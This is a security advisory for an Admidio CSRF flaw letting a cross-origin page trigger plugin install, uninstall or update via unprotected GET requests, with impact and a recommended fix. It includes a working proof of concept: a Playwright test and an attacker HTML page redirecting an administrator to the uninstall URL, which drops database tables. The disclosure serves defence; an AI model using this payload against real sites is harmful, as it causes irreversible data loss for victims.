CVE-2026-53760
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Description
## Summary The `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data. ## Details `modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`: ```php // modules/plugins.php $mode = admFuncVariableIsValid($_GET, 'mode', 'string'); $pluginName = admFuncVariableIsValid($_GET, 'name', 'string'); ``` The file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly. Because the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL. The `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements: ```php // modules/plugins.php - doUninstall() function doUninstall($pluginFolder) { // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql // Contains DROP TABLE statements } ``` ## Proof of Concept The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint: ```javascript // playwright-csrf-poc.js const { test, expect } = require('@playwright/test'); test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => { const context = await browser.newContext(); const page = await context.newPage(); // Step 1: Admin logs in to Admidio await page.goto('https://admidio.example.com/adm_program/system/login.php'); await page.fill('#usr_login_name', 'admin'); await page.fill('#usr_password', 'password'); await page.click('#btn_login'); await page.waitForURL('**/overview.php'); // Step 2: Admin visits attacker-controlled page on different origin // The attacker page contains: // <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script> await page.goto('https://attacker.example.com/csrf.html'); // Step 3: Browser follows redirect with SameSite=Lax cookies // The birthday plugin is uninstalled, its database tables dropped await page.waitForURL('**/plugins.php*'); // Verify the plugin was uninstalled await page.goto('https://admidio.example.com/adm_program/modules/plugins.php'); const content = await page.content(); expect(content).not.toContain('birthday'); }); ``` Simplified attacker page (`csrf.html` hosted on attacker origin): ```html <html> <body> <script> window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday'; </script> </body> </html> ``` When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin. ## Impact An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page. ## Recommended Fix Switch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase. --- *Found by [aisafe.io](https://aisafe.io)*